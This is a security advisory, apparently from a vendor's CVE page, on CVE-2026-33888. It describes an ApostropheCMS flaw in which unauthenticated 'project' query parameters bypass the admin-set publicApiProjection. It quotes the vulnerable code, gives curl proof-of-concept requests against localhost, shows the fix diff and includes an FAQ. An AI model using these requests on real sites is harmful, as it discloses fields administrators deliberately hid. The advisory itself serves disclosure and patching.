CVE-2026-33888

The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.

Details

When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:

// piece-type/index.js:1120-1137
getRestQuery(req, omitPermissionCheck = false) {
  const query = self.find(req).attachments(true);
  query.applyBuildersSafely(req.query);          // [1] attacker input applied first
  if (!omitPermissionCheck && !self.canAccessApi(req)) {
    if (!self.options.publicApiProjection) {
      query.and({
        _id: null
      });
    } else if (!query.state.project) {            // [2] checks if projection already set
      query.project({
        ...self.options.publicApiProjection,
        cacheInvalidatedAt: 1
      });
    }
  }
  return query;
},

At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:

// doc-type/index.js:1875-1889
project: {
  launder (p) {
    if (!p || typeof p !== 'object' || Array.isArray(p)) {
      return {};
    }
    const projection = Object.entries(p).reduce((acc, [ key, val ]) => {
      return {
        ...acc,
        [key]: self.apos.launder.boolean(val)
      };
    }, {});
    return projection;
  },

When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.

For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:

// page/index.js:2953-2958
} else {
  query.project({
    ...self.options.publicApiProjection,
    cacheInvalidatedAt: 1
  });
}

PoC

Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:

// modules/article/index.js
module.exports = {
  extend: '@apostrophecms/piece-type',
  options: {
    publicApiProjection: {
      title: 1,
      _url: 1
    }
  }
};

Step 1: Normal request, observe restricted fields are hidden:

curl 'http://localhost:3000/api/v1/article'

Response returns only title and _url fields per the configured projection.

Step 2: Bypass projection by supplying project query parameter:

curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'

Response now includes internalNotes, slug, createdAt, and any other requested fields, bypassing the admin-configured publicApiProjection restriction.

Step 3: Request all default fields by projecting inclusion of sensitive fields:

curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'

All requested fields are returned, confirming the publicApiProjection is fully bypassed.

• Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.
• Scope: Affects all piece-type modules with publicApiProjection configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.
• Exploitability: Trivial, requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-33888 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.29.0); upgrading removes the vulnerable code path.

Kodem intelligence

Remove the conditional check on query.state.project in piece-type/index.js, matching the page module's unconditional behavior. The admin-configured publicApiProjection should always override any user-supplied projection for unauthenticated users:

// modules/@apostrophecms/piece-type/index.js:1123-1134
// BEFORE (vulnerable):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
  if (!self.options.publicApiProjection) {
    query.and({
      _id: null
    });
  } else if (!query.state.project) {
    query.project({
      ...self.options.publicApiProjection,
      cacheInvalidatedAt: 1
    });
  }
}

// AFTER (fixed):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
  if (!self.options.publicApiProjection) {
    query.and({
      _id: null
    });
  } else {
    query.project({
      ...self.options.publicApiProjection,
      cacheInvalidatedAt: 1
    });
  }
}

1. What is CVE-2026-33888? CVE-2026-33888 is a medium-severity incorrect authorization vulnerability in apostrophe (npm), affecting versions < 4.29.0. It is fixed in 4.29.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-33888? CVE-2026-33888 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of apostrophe are affected by CVE-2026-33888? apostrophe (npm) versions < 4.29.0 is affected.
4. Is there a fix for CVE-2026-33888? Yes. CVE-2026-33888 is fixed in 4.29.0. Upgrade to this version or later.
5. Is CVE-2026-33888 exploitable, and should I be worried? Whether CVE-2026-33888 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33888 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33888? Upgrade apostrophe to 4.29.0 or later.